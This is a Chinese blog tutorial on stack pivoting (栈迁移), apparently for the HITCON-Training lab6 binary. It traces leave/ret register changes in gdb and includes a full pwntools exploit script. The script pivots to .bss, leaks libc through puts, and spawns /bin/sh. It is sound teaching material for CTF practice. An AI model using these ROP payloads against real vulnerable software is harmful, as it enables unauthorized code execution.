栈迁移过程记录,栈指针rsp、rbp、rip、leave变化过程

栈迁移

利用条件:

  1. 能对bss段进行操作(可写、可执行)
  2. 有必要的ROP可用

通过ROP leave_ret 改变ebp的值伪造栈,到达栈迁移的目的。下面就一个题目的一个payload进行调试,逐指令理解栈迁移的过程。这里只是通过ROP来实现,还有一种是通过ROP,向bss段伪造栈,这个以后再说。
64位程序,脚本的一部分payload:

stack=rbp-0x70 #指向当前栈顶
# ROPgadget --binary easy_ad --only "pop|ret" | grep rdi
pop_rdi_ret=0x400953 
fun_addr=0x400756
leave_ret=0x4007B5
put_plt=0x4005D0

p.send('11111111'+p64(pop_rdi_ret)+p64(elf.got['puts'])+p64(put_plt)+p64(fun_addr)+5 * '11111111'+p64(stack)+p64(leave_ret))

首先运行到发送payload的地方,查看栈的布局:
rbp、rsp、rip:

RBP: 0x7ffe699c88b0 --> 0x7ffe699c8860 ("11111111S\t@")
RSP: 0x7ffe699c8860 ("11111111S\t@")
RIP: 0x4007b5 (<vul+95>:	leave)

   0x4007aa <vul+84>:	mov    edi,0x0
   0x4007af <vul+89>:	call   0x400600 <read@plt>
   0x4007b4 <vul+94>:	nop
=> 0x4007b5 <vul+95>:	leave  
   0x4007b6 <vul+96>:	ret    
   0x4007b7 <magic>:	push   rbp
   0x4007b8 <magic+1>:	mov    rbp,rsp
   0x4007bb <magic+4>:	mov    edi,0x40097e

gdb-peda$ stack 15
0000| 0x7ffe699c8860 ("11111111S\t@")
0008| 0x7ffe699c8868 --> 0x400953 (<__libc_csu_init+99>:	pop    rdi)
0016| 0x7ffe699c8870 --> 0x601018 --> 0x7fd08350d6a0 (<_IO_puts>:	push   r12)
0024| 0x7ffe699c8878 --> 0x4005d0 (<puts@plt>:	jmp    QWORD PTR [rip+0x200a42]        # 0x601018)
0032| 0x7ffe699c8880 --> 0x400756 (<vul>:	push   rbp)
0040| 0x7ffe699c8888 ('1' <repeats 40 times>, "`\210\234i\376\177")
0048| 0x7ffe699c8890 ('1' <repeats 32 times>, "`\210\234i\376\177")
0056| 0x7ffe699c8898 ('1' <repeats 24 times>, "`\210\234i\376\177")
0064| 0x7ffe699c88a0 ('1' <repeats 16 times>, "`\210\234i\376\177")
0072| 0x7ffe699c88a8 ("11111111`\210\234i\376\177")
0080| 0x7ffe699c88b0 <--rbp--> 0x7ffe699c8860 ("11111111S\t@")<--rsp
0088| 0x7ffe699c88b8 --> 0x4007b5 (<vul+95>:	leave)<--返回值

通过泄露rbp得到rbp为0x7ffe699c88d0,通过栈溢出将返回值填充为栈rbp-0x70处,即当前的rsp,这里看到当前rbp–>0x7ffe699c8860 (“11111111S\t@”),0x70是栈的大小,此时我们就将栈顶复制到了rbp的位置,相当于伪造的rbp。接下来执行leave,leave==>mov rsp,rbp;pop rbp

这里说一下栈返回操作,当执行leave 将当前rbp的值赋值给rsp,之后pop rbp将rbp出栈,恢复之前的栈帧,对于 RIP指向的是下一条指令,RSP+1,相当于栈的下一位,执行leave后,栈如下:

RBP: 0x7ffe699c8860 ("11111111S\t@")
RSP: 0x7ffe699c88b8 --> 0x4007b5 (<vul+95>:	leave)
RIP: 0x4007b6 (<vul+96>:	ret)

   0x4007af <vul+89>:	call   0x400600 <read@plt>
   0x4007b4 <vul+94>:	nop
   0x4007b5 <vul+95>:	leave  
=> 0x4007b6 <vul+96>:	ret    
   0x4007b7 <magic>:	push   rbp
   0x4007b8 <magic+1>:	mov    rbp,rsp
   0x4007bb <magic+4>:	mov    edi,0x40097e

0000| 0x7ffe699c88b8 --> 0x4007b5 (<vul+95>:	leave)
0008| 0x7ffe699c88c0 --> 0x32 ('2')
0016| 0x7ffe699c88c8 --> 0x0 
0024| 0x7ffe699c88d0 --> 0x4008f0 (<__libc_csu_init>:	push   r15)

此时执行leave后,将rsp修改为rbp+1的内容0x7ffe699c88b0 +8=0x7ffe699c88b8(rsp=rbp,后向下移动),rbp出栈变为0x7ffe699c8860,rip指向下一条指令ret,此时在执行ret指令将返回到我们构造好的leave_ret处,再一次leave_ret主要是为了利用伪造的栈里的数据,达到我们的目的,执行ret后栈如下:

RBP: 0x7ffe699c8860 ("11111111S\t@")
RSP: 0x7ffe699c88c0 --> 0x32 ('2')
RIP: 0x4007b5 (<vul+95>:	leave)

   0x4007af <vul+89>:	call   0x400600 <read@plt>
   0x4007b4 <vul+94>:	nop
=> 0x4007b5 <vul+95>:	leave  
   0x4007b6 <vul+96>:	ret    
   0x4007b7 <magic>:	push   rbp
   0x4007b8 <magic+1>:	mov    rbp,rsp

0000| 0x7ffe699c88c0 --> 0x32 ('2')
0008| 0x7ffe699c88c8 --> 0x0 
0016| 0x7ffe699c88d0 --> 0x4008f0 (<__libc_csu_init>:	push   r15)
0024| 0x7ffe699c88d8 --> 0x7fd0834be840 (<__libc_start_main+240>:	

看到,如我们猜想,返回到了leave_ret处,RSP已经变成原来栈里的数据了,再次执行leave,将RSP的值变成RBP,向下移动一位变成0x7ffe699c8860+8=0x7ffe699c8868,即构造的ROP :pop rdi;ret处,RBP出栈变成“11111111”,RIP指向RET,执行后如下,验证是否正确:

RBP: 0x3131313131313131 ('11111111')
RSP: 0x7ffe699c8868 --> 0x400953 (<__libc_csu_init+99>:	pop    rdi)
RIP: 0x4007b6 (<vul+96>:	ret)

0x4007b4 <vul+94>:	nop
   0x4007b5 <vul+95>:	leave  
=> 0x4007b6 <vul+96>:	ret    
   0x4007b7 <magic>:	push   rbp
   0x4007b8 <magic+1>:	mov    rbp,rsp
   0x4007bb <magic+4>:	mov    edi,0x40097e
   0x4007c0 <magic+9>:	call   0x4005e0 <system@plt>
[------------------------------------stack-------------------------------------]
0000| 0x7ffe699c8868 --> 0x400953 (<__libc_csu_init+99>:	pop    rdi)
0008| 0x7ffe699c8870 --> 0x601018 --> 0x7fd08350d6a0 (<_IO_puts>:	push   r12)

可以看到,符合预期,接下来ret会返回到pop rdi的地方执行我们构造好的ROP链去泄露puts的地址,此时就相当于赋值了之前栈的内容,这就是栈迁移的关键地方,两个leave_ret来实现,第一次leave_ret是为了保存栈顶,恢复栈顶(构造的假栈顶),第二次leave_ret是为了跳转到栈顶,利用栈里的内容。

通过调试跟踪,和对栈的指针,寄存器的执行流程要了解,这里的内容就不难理解。

32位栈迁移到bss

例子是HITCON-Traing lab6,可以到这里下载
栈迁移到bss,通过read函数构造栈数据,主要原理就是运用leave ret去控制ebp的值,进而去控制rbp的值,通过两次leave ret实现伪造栈数据执行。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[40]; // [esp+0h] [ebp-28h] BYREF

  if ( count != 1337 )
    exit(1);
  ++count;
  setvbuf(_bss_start, 0, 2, 0);
  puts("Try your best :");
  return read(0, buf, 0x40u);
}

这道题漏洞点很明显,是栈溢出,我们可以通过多次构造栈迁移,将栈迁移到bss段,伪造数据获得libc基址,获得shell。
还是通过调试脚本来理解:

#!/usr/bin/python
# -*- coding:utf-8 -*-
from pwn import *
context.log_level = 'debug'
context.terminal = ['terminator','-x','sh','-c']
p = process('./migration')
elf = ELF("./migration")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")

def dbg(address=0):
    if address==0:
        gdb.attach(p)
        pause()
    else:
        if address > 0xfffff:
            script="b *{:#x}\nc\n".format(address)
        else:
            script="b *$rebase({:#x})\nc\n".format(address)
        gdb.attach(p, script)
system_libc = libc.symbols["system"]
print "system_libc:"+hex(system_libc)
read_plt = elf.plt["read"]
print "read_plt:"+hex(read_plt)
puts_got = elf.got["puts"]
print "puts_got:"+hex(puts_got)
puts_plt = elf.plt["puts"]
print "puts_plt:"+hex(puts_plt)
puts_libc = libc.symbols["puts"]
print "puts_libc:"+hex(puts_libc)
binsh_libc= libc.search("/bin/sh").next()
print "binsh_libc:"+hex(binsh_libc)
dbg()
leave_ret = 0x08048418 #程序内部的
p3ret = 0x08048569 #pop esi ; pop edi ; pop ebp ; ret
p1ret = 0x0804836d #pop_ebx_ret
buf1 = elf.bss() + 0x500 
buf2 = elf.bss() + 0x400 

payload = 'a'*40
payload +=p32(buf1)+p32(read_plt)+p32(leave_ret)+p32(0)+p32(buf1)+p32(0x100)
p.recvuntil(" :\n")
p.send(payload)
#gdb.attach(p)
#sleep(0.1)

payload=p32(buf2)+p32(puts_plt)+p32(p1ret)+p32(puts_got)+p32(read_plt)+p32(leave_ret)+p32(0)+p32(buf2)+p32(0x100)
p.send(payload)
#gdb.attach(p)
#sleep(0.1)

puts_addr =u32(p.recv(4))
print "puts_addr:"+hex(puts_addr)

offset = puts_addr - puts_libc
system_addr = system_libc + offset
binsh = binsh_libc +offset

'''
payload =p32(buf1)+p32(read_plt)+p32(p3ret)+p32(0)+p32(buf1)+p32(0x100)+p32(system_addr)+p32(0xdeadbeef)+p32(buf1)

p.send(payload)
sleep(0.1)
#p.send("/bin/sh\0")
p.interactive()
'''
#gdb.attach(p)
payload =p32(buf1)+p32(system_addr)+"bbbb"+p32(binsh)
p.send(payload)
#sleep(0.1)
p.interactive()


"""
0x08048418 : leave ; ret     #用于返回栈
0x0804836d : pop ebx ; ret    #p1ret 用于放参数
0x08048569 : pop esi ; pop edi ; pop ebp ; ret  
#p3ret 用于平衡栈,从而继续执行后面的rop
"""

第一段payload:

payload = 'a'*40
payload +=p32(buf1)+p32(read_plt)+p32(leave_ret)+p32(0)+p32(buf1)+p32(0x100)
p.recvuntil(" :\n")
p.send(payload)

通过填充将ebp覆盖成buf1(bss+0x500),后面是readplt+leaveret+read参数,在执行过ebp后main函数的leave ret会将esp=ebp(buf1),esp指向buf1的下一地址,即readplt,pop ebp后,ebp指向buf1:
gdb调试界面,获得一些plt got libc地址供参考:

[DEBUG] PLT 0x17748 free
[*] '/lib/i386-linux-gnu/libc.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
system_libc:0x3adb0
read_plt:0x8048380
puts_got:0x8049ff0
puts_plt:0x804838c
puts_libc:0x5fcb0
binsh_libc:0x15bb0b
[DEBUG] Wrote gdb script to '/tmp/pwngI_Zik.gdb'


leave_ret = 0x08048418
p3ret = 0x08048569 #pop esi ; pop edi ; pop ebp ; ret
p1ret = 0x0804836d #pop_ebx_ret

执行leave前,0x804a50c 为buf1:

EBP: 0xffbe0df8 --> 0x804a50c --> 0x0 
ESP: 0xffbe0dd0 ('a' <repeats 40 times>, "\f\245\004\b\200\203\004\b\030\204\004\b")
EIP: 0x8048504 (<main+89>:	leave)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80484ff <main+84>:	add    esp,0xc
   0x8048502 <main+87>:	nop
   0x8048503 <main+88>:	nop
=> 0x8048504 <main+89>:	leave  
   0x8048505 <main+90>:	ret    
   0x8048506:	xchg   ax,ax
   0x8048508:	xchg   ax,ax
   0x804850a:	xchg   ax,ax
[------------------------------------stack-------------------------------------]
0000| 0xffbe0dd0 ('a' <repeats 40 times>, "\f\245\004\b\200\203\004\b\030\204\004\b")
0004| 0xffbe0dd4 ('a' <repeats 36 times>, "\f\245\004\b\200\203\004\b\030\204\004\b")
0008| 0xffbe0dd8 ('a' <repeats 32 times>, "\f\245\004\b\200\203\004\b\030\204\004\b")
0012| 0xffbe0ddc ('a' <repeats 28 times>, "\f\245\004\b\200\203\004\b\030\204\004\b")

执行后,ebp指向buf1,esp指向0x8048380 (readplt,符合预期):

EBP: 0x804a50c --> 0x0 
ESP: 0xffbe0dfc --> 0x8048380 (jmp    DWORD PTR ds:0x8049fe8)
EIP: 0x8048505 (<main+90>:	ret)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048502 <main+87>:	nop
   0x8048503 <main+88>:	nop
   0x8048504 <main+89>:	leave  
=> 0x8048505 <main+90>:	ret    
   0x8048506:	xchg   ax,ax
   0x8048508:	xchg   ax,ax
   0x804850a:	xchg   ax,ax
   0x804850c:	xchg   ax,ax
[------------------------------------stack-------------------------------------]
0000| 0xffbe0dfc --> 0x8048380 (jmp    DWORD PTR ds:0x8049fe8)  readplt
0004| 0xffbe0e00 --> 0x8048418 (<deregister_tm_clones+40>:	leave)                                read返回值:leave ret
0008| 0xffbe0e04 --> 0x0                       --|
0012| 0xffbe0e08 --> 0x804a50c --> 0x0           |->read参数
0016| 0xffbe0e0c --> 0x100                     --|
0020| 0xffbe0e10 --> 0x0 
0024| 0xffbe0e14 --> 0x0 
0028| 0xffbe0e18 --> 0xf7f6f000 --> 0x1b2db0 

之后执行ret,会返回到read,去接收第二段payload

payload=p32(buf2)+p32(puts_plt)+p32(p1ret)+p32(puts_got)+p32(read_plt)+p32(leave_ret)+p32(0)+p32(buf2)+p32(0x100)

在接收完第二段payload后会执行我们构造的leave ret=0x08048418,下面是read完第二段payload后,未执行leave:

EBP: 0x804a50c --> 0x804a40c --> 0x0 
ESP: 0xffbe0e04 --> 0x0 
EIP: 0x8048418 (<deregister_tm_clones+40>:	leave)
EFLAGS: 0x203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804840e <deregister_tm_clones+30>:	push   0x804a00c
   0x8048413 <deregister_tm_clones+35>:	call   eax
   0x8048415 <deregister_tm_clones+37>:	add    esp,0x10
=> 0x8048418 <deregister_tm_clones+40>:	leave  
   0x8048419 <deregister_tm_clones+41>:	repz ret 
   0x804841b <deregister_tm_clones+43>:	nop

现在ebp指向buf1,但bss段buf1处的值被我们填充成了buf2的地址,EIP指向下条指令leave,执行leave后,esp=ebp,esp下移一位到putplt=0x804838c ,pop ebp后ebp指向buf2=0x804a40c ,如下:

EBP: 0x804a40c --> 0x0                        <--buf2
ESP: 0x804a510 --> 0x804838c (add    al,0x8) <--putplt
EIP: 0x8048419 (<deregister_tm_clones+41>:	repz ret)
EFLAGS: 0x203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048413 <deregister_tm_clones+35>:	call   eax
   0x8048415 <deregister_tm_clones+37>:	add    esp,0x10
   0x8048418 <deregister_tm_clones+40>:	leave  
=> 0x8048419 <deregister_tm_clones+41>:	repz ret 
   0x804841b <deregister_tm_clones+43>:	nop
   0x804841c <deregister_tm_clones+44>:	lea    esi,[esi+eiz*1+0x0]
   0x8048420 <register_tm_clones>:	mov    eax,0x804a00c
   0x8048425 <register_tm_clones+5>:	sub    eax,0x804a00c
[------------------------------------stack-------------------------------------]
0000| 0x804a510 --> 0x804838c (add    al,0x8)      putplt
0004| 0x804a514 --> 0x804836d (<_init+33>:	pop    ebx)    pop_edx_ret
0008| 0x804a518 --> 0x8049ff0 --> 0xf7e1bcb0 (<_IO_puts>:	push   ebp)       putgot
0012| 0x804a51c --> 0x8048380 (jmp    DWORD PTR ds:0x8049fe8)  readplt
0016| 0x804a520 --> 0x8048418 (<deregister_tm_clones+40>:	leave)     leave ret
0020| 0x804a524 --> 0x0 
0024| 0x804a528 --> 0x804a40c --> 0x0    参数
0028| 0x804a52c --> 0x100 

执行完ret后,返回到puts函数,输出putgot地址,之后将putsgot弹出栈,ret返回到readplt,如下:

EBP: 0x804a40c --> 0x0      buf2
ESP: 0x804a518 --> 0x8049ff0 --> 0xf7e1bcb0 (<_IO_puts>:	push   ebp)
EIP: 0x804836d (<_init+33>:	pop    ebx)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048363 <_init+23>:	je     0x804836a <_init+30>
   0x8048365 <_init+25>:	call   0x8048398
   0x804836a <_init+30>:	add    esp,0x8
=> 0x804836d <_init+33>:	pop    ebx      
   0x804836e <_init+34>:	ret    
   0x804836f:	add    bh,bh
   0x8048371:	xor    eax,0x8049fe0
   0x8048376:	jmp    DWORD PTR ds:0x8049fe4
[------------------------------------stack-------------------------------------]
0000| 0x804a518 --> 0x8049ff0 --> 0xf7e1bcb0 (<_IO_puts>:	push   ebp)    即将弹出栈,ret返回到readplt
0004| 0x804a51c --> 0x8048380 (jmp    DWORD PTR ds:0x8049fe8)         readplt
0008| 0x804a520 --> 0x8048418 (<deregister_tm_clones+40>:	leave)
0012| 0x804a524 --> 0x0 
0016| 0x804a528 --> 0x804a40c --> 0x0 
0020| 0x804a52c --> 0x100 

返回到read后继续接收第三段payload

payload =p32(buf1)+p32(system_addr)+"bbbb"+p32(binsh)

然后执行leave ret,执行之前ebp=buf2,但因为我们在buf2(ebp)处填充的是buf1,所以现在是buf2处内容为buf1地址,执行leave后,esp=ebp,esp下移,指向system,ebp指向buf1,如下:

EBP: 0x804a50c --> 0x804a40c (0x0804a50c)   
ESP: 0x804a410 --> 0xf7df6db0 (<__libc_system>:	sub    esp,0xc)
EIP: 0x8048419 (<deregister_tm_clones+41>:	repz ret)
EFLAGS: 0x217 (CARRY PARITY ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048413 <deregister_tm_clones+35>:	call   eax
   0x8048415 <deregister_tm_clones+37>:	add    esp,0x10
   0x8048418 <deregister_tm_clones+40>:	leave  
=> 0x8048419 <deregister_tm_clones+41>:	repz ret 
   0x804841b <deregister_tm_clones+43>:	nop
   0x804841c <deregister_tm_clones+44>:	lea    esi,[esi+eiz*1+0x0]
   0x8048420 <register_tm_clones>:	mov    eax,0x804a00c
   0x8048425 <register_tm_clones+5>:	sub    eax,0x804a00c
[------------------------------------stack-------------------------------------]
0000| 0x804a410 --> 0xf7df6db0 (<__libc_system>:	sub    esp,0xc)      system_addr
0004| 0x804a414 ("bbbb\v{\361\367\223\034\351\367`\375\366\367\301P\342\367\001")       system返回值填充
0008| 0x804a418 --> 0xf7f17b0b ("/bin/sh")   system参数bin/sh
0012| 0x804a41c --> 0xf7e91c93 (<__write_nocancel+25>:	pop    ebx)
0016| 0x804a420 --> 0xf7f6fd60 --> 0xfbad2887 
0020| 0x804a424 --> 0xf7e250c1 (<_IO_new_file_write+97>:	add    esp,0x10)
0024| 0x804a428 --> 0x1 
0028| 0x804a42c --> 0xf7f6fda7 --> 0xf708700a 

到这里在执行ret就会返回到system函数,执行system(“bin/sh”)获得shell。

-------------------------------------code-------------------------------------]
   0xf7df6da7 <cancel_handler+231>:	pop    ebp
   0xf7df6da8 <cancel_handler+232>:	ret    
   0xf7df6da9:	lea    esi,[esi+eiz*1+0x0]
=> 0xf7df6db0 <__libc_system>:	sub    esp,0xc
   0xf7df6db3 <__libc_system+3>:	mov    eax,DWORD PTR [esp+0x10]
   0xf7df6db7 <__libc_system+7>:	
    call   0xf7edbc5d <__x86.get_pc_thunk.dx>
   0xf7df6dbc <__libc_system+12>:	add    edx,0x178244
   0xf7df6dc2 <__libc_system+18>:	test   eax,eax

exp运行结果:

$ ls
[DEBUG] Sent 0x3 bytes:
    'ls\n'
[DEBUG] Received 0x61 bytes:
    'core\t  migration\t migration.c   peda-session-migration.txt\n'
    'makefile  migration1.py  migration.py\n'
core      migration     migration.c   peda-session-migration.txt
makefile  migration1.py  migration.py
$  

总结利用流程:

  1. 溢出填充ebp=buf1,将ebp迁移到bss段。利用read函数构造栈数据(payload2)
  2. leave ret
  3. 重新溢出ebp为buf2(bss),利用payload2泄露puts函数地址,计算libc基址。再次构造栈数据(payload3)
  4. leave ret
  5. 重新溢出ebp为buf1(bss),利用payload3获得shell。

64位栈迁移

64位栈迁移和32位差不多,只不过64位是通过寄存器进行传参,64位程序 传参的时候是 从左到右 依次放入 寄存器:rdi,rsi,rdx,rcx,r8,r9 ,当参数大于等于 7 的时候 后面参数会依次 从右向左 放入栈中!其实最开始的那个程序就是64位的栈迁移!

参考连接

栈迁移到bss段:https://www.cnblogs.com/yichen115/p/12450517.html

  • 1
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值